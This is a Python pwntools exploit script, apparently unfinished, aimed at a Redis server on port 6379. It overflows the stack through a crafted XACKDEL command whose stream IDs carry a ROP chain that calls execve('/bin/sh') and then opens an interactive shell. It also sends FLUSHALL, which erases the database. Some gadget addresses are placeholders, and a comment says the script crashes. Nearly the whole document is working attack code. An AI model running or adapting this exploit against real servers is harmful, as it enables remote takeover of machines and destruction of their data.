#!/usr/bin/env python3 # Thise one crashes without GDB as well from pwn import * # --- Configuration --- HOST = '127.0.0.1' PORT = 6379 # We need to send enough IDs to overwrite the return address. # Offset is ~136 bytes. 136 / 16 bytes per ID = 8.5. So let's send 10. NUM_IDS_TO_SEND = 10 # --- ROP Chain Addresses (replace with your actual addresses) --- POP_RDI_RET = 0x5555555e58eb BIN_SH_ADDR = 0x7ffff7a99ea4 # You still need to find these gadgets! POP_RSI_RET = 0xdeadbeefdeadbeef # <-- FIND THIS POP_RDX_RET = 0xdeadbeefdeadbeef # <-- FIND THIS POP_RAX_RET = 0xdeadbeefdeadbeef # <-- FIND THIS SYSCALL_RET = 0x7ffff7981ef2 # --- Main Exploit Logic --- def trigger_overflow(): r = remote(HOST, PORT) log.info("Setting up stream and consumer group...") # Using 'FLUSHALL' to ensure a clean state for each run r.sendline(b"FLUSHALL") r.recvline() setup_command = b"XGROUP CREATE mystream mygroup 0-0 MKSTREAM" r.sendline(setup_command) log.success(f"Setup response: {r.recvline().strip().decode()}") # 1. Build the ROP chain rop_chain = [ POP_RDI_RET, # Gadget to control RDI BIN_SH_ADDR, # Address of "/bin/sh" string POP_RSI_RET, # Gadget to control RSI 0, # Value for RSI (NULL) POP_RDX_RET, # Gadget to control RDX 0, # Value for RDX (NULL) POP_RAX_RET, # Gadget to control RAX 59, # Value for RAX (execve syscall number) SYSCALL_RET # Gadget to make the syscall ] rop_payload = b"".join([p64(addr) for addr in rop_chain]) # 2. Build the final flat payload (padding + ROP chain) # The offset to the return address. You MUST verify this with cyclic! # Let's assume it is 136. offset_to_rip = 136 # We create a full payload that will perfectly overwrite the stack flat_payload = cyclic(offset_to_rip) # Use a pattern for easy debugging flat_payload = flat_payload[:offset_to_rip] # Trim to exact length flat_payload += rop_payload # 3. Chop the flat payload into stream IDs payload_ids = [] # We need to send enough IDs to deliver our whole payload num_ids_required = (len(flat_payload) + 15) // 16 # ceiling division for i in range(num_ids_required): # Get a 16-byte chunk for one full streamID chunk = flat_payload[i*16 : (i+1)*16] if len(chunk) < 16: chunk += b'\x00' * (16 - len(chunk)) # Pad the last chunk if needed # The first 8 bytes are ms, the second 8 are seq ms = u64(chunk[0:8]) seq = u64(chunk[8:16]) payload_id = f"{ms}-{seq}".encode() payload_ids.append(payload_id) # Build and send the command command_parts = [ b"XACKDEL", b"mystream", b"mygroup", b"IDS", str(len(payload_ids)).encode() ] + payload_ids payload_command = b" ".join(command_parts) log.info("Sending precisely crafted overflow payload...") r.sendline(payload_command) log.success("Payload sent! Waiting for shell...") # Keep the connection open and make it interactive to get the shell r.interactive() if __name__ == "__main__": trigger_overflow()